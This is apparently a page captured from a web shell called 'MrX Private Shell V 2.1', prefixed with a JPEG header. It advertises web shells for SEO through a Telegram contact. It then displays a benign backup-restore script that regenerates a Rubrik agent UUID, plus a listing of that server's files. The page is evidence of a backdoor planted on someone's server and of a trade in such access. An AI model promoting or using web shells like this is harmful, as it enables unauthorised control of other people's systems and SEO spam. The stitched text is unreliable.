����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# 430_gen_rbs_uuid_for_cdm.sh
# Reset the UUID used by RBS if the IP address has changed
CDM_RBA_DIR=/etc/rubrik
CDM_AGENT_UUID=${CDM_RBA_DIR}/conf/uuid
# When USER_INPUT_CDM_SAME_AGENT_UUID has Does this client have the same IP address as the original 'y' was actually meant:
LogPrint ""
LogPrint "Found the following IP addresses on this system:"
LogPrint "$( ip addr | grep inet | cut -d / -f 1 | grep -v 127.0.0.1 | grep -v ::1 )"
LogPrint ""
is_true "$USER_INPUT_CDM_SAME_AGENT_UUID" && USER_INPUT_SAME_AGENT_UUID="y"
while true ; do
# Find out if the IP address has changed from the original. If so generate a new UUID.
# the default (i.e. the automated response after the timeout) should be 'n':
answer="$( UserInput -I CDM_SAME_AGENT_UUID -p "Does this client have the same IP address as the original? (y/n)" -D 'y' )"
is_true "$answer" && return 0
if is_false "$answer" ; then
break
fi
UserOutput "Please answer 'y' or 'n'"
done
mv $v ${CDM_AGENT_UUID} ${CDM_AGENT_UUID}.old
/usr/bin/uuidgen | tee -a ${CDM_AGENT_UUID} >&2
StopIfError "Unable to generate new UUID"
CDM_NEW_AGENT_UUID="true"
LogPrint "Rubrik (CDM) RBS agent now has new UUID."
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 410_use_replica_cdm_cluster_cert.sh | File | 4.06 KB | 0644 |
|
| 430_gen_rbs_uuid_for_cdm.sh | File | 1.16 KB | 0644 |
|
| 450_start_cdm_rbs.sh | File | 550 B | 0644 |
|